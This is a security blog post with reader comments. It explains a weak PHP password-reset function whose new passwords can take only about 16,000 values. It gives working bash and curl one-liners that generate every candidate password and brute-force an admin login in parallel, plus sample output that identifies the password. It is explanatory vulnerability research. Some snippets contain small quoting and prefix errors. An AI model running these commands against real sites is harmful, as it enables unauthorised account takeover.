Hacking crappy password resets (part 2)

Hey,

In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset.

The code

First, let's take a look at the code:

<?php
  if (strtolower($cfgrow['email'])==strtolower($_POST['reminderemail']))
  {
    // generate a random new pass
    $user_pass = substr( MD5('time. rand(1, 16000)), 0, 6);
    $query = "update config set password=MD5('$user_pass') where [...]"
    if(mysql_query($query))
    {
       // ...
?>

The vulnerability

The vulnerability lies in the password generation:

    $user_pass = substr( MD5('time. rand(1, 16000)), 0, 6);

The new password generated is the md5() of the literal string 'time' (*not* the current time, the *word* "time") concatenated with one of 16,000 random numbers, then truncated to 6 bytes. We can very easily generate the complete password list on the commandline:

$ seq 1 16000 | xargs -I XXX sh -c "echo timeXXX | md5sum | cut -b1-6"

or, another way:

$ for i in `seq 1 16000`; do echo "time$i" | md5sum | cut -b1-6

(By the way, for more information on using xargs, check out a really awesome blog posting called Taco Bell Programming - it's like real programming, but you can't legally call it "beef")

In either case, you'll wind up with 16,000 different passwords in a file. If you want to speed up the eventual bruteforce, you can eliminate collisions:

$ seq 1 16000 | xargs -I XXX sh -c "echo XXX | md5sum | cut -b1-6" | sort | uniq

If you do that, you'll wind up with 15,993 different passwords, ranging from '000b64' to 'fffcc0'. Now all that's left is to try these 15,993 passwords against the site!

The attack

You can do this attack any number of ways. You can script up some Perl/Ruby/PHP, you can use a scanner like Burp Suite, or, if you're feeling really adventurous, you can write a quick config file for http-enum.nse. If anybody takes the time to replicate this with http-enum.nse, you'll win an Internet from me. I promise.

But why bother with all these complicated pieces of software when we have bash handy? All we need to do is try all 15,993 passwords using wget/curl/etc and look for the one page that's different. Done!

So, to download a single page, we'd use:

$ curl -s -o XXX.out -d "user=admin&password=XXX" <site>/admin/?x=login

This will create a file called XXX.out on the filesystem, which is the output from a login attempt with the password XXX. Now we use xargs to do that for every password:

$ cat passwords.txt | xargs -P32 -I XXX curl -s -o XXX.out \
  -d "user=admin&password=XXX" <site>/admin/?x=login

Which will, in 32 parallel processes, attempt to log in with each password and write the result to a file named <password>.out. Now all we have to do figure out which one's different! After waiting for it to finish (or not.. it takes about 5-10 minutes), I check the folder:

$ md5sum *.out | head 
96ffbb1ba380de9fc9e7a3fe316ff631  000176.out
96ffbb1ba380de9fc9e7a3fe316ff631  0014c2.out
96ffbb1ba380de9fc9e7a3fe316ff631  001e7e.out
96ffbb1ba380de9fc9e7a3fe316ff631  002035.out
96ffbb1ba380de9fc9e7a3fe316ff631  00217c.out
96ffbb1ba380de9fc9e7a3fe316ff631  002c47.out
96ffbb1ba380de9fc9e7a3fe316ff631  003b9e.out
96ffbb1ba380de9fc9e7a3fe316ff631  004bff.out
96ffbb1ba380de9fc9e7a3fe316ff631  0057b8.out
96ffbb1ba380de9fc9e7a3fe316ff631  008dea.out

Sure enough, it's tried all the passwords and they all seemed to download the same page! Now we use grep -v to find the one and only download that's different:

$ md5sum *.out | grep -v 96ffbb1ba380de9fc9e7a3fe316ff631
d41d8cd98f00b204e9800998ecf8427e  b19261.out

And bam! We now know the password is "b19261".

Conclusion

So there you have it - abusing a password reset to log into an account you shouldn't. And remember, even though we didn't test this with 1,000,000 possible passwords like last week's blog, it would only take about 60 times as long - so instead of a few minutes, it'd be a few hours. And as I said last week, that million-password reset form was actually pretty common.

And in case you think this is hocus pocus or whatever, I wrote the code shown here live, on stage, at Winnipeg Code Camp. It's towards the end of my talk.

5 thoughts on “Hacking crappy password resets (part 2)

  1. Reply

    bob

    holy shmoly!

  2. Reply

    Larry Wert

    There is a size limit as to how long a command can be, thus "for x in `...`" and "| xargs ..." may fail with larger inputs. To avoid that risk you can use "| while read x; do ...; done". "while" is actual also faster than for. Interpolation has to finish before iteration begins. So "seq 1 16000" has to finish before any of the rest of the code does. Which is fine in this case, but imagine "seq 1 16000000000000000000". Although, in that case for would break anyways due to the limitation I described... Maybe.

  3. Reply

    chao-mu

    I think the above comment is actually wrong...

    1. Reply

      Ron Bowes Post author

      @chao-mu - it's possible, I didn't actually check.

      This fails for me:
      for i in `seq 1 100000000000000000`; do echo $i; done

      And this works:
      seq 1 1000000000000000000 | xargs echo

  4. Reply

    Zack

    Hi Ron,

    Can you help to explain this or refer us to any video or site wherein the exploit can be done using Burp? I tried it but no success..

    Meaning if I see a site and check the source code page with something like MD5 or similar to your phase($user_pass = substr( MD5('time' . rand(1, 16000)), 0, 6) this should be a sure vulnerability right?

    Thanks
    )Thanks

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>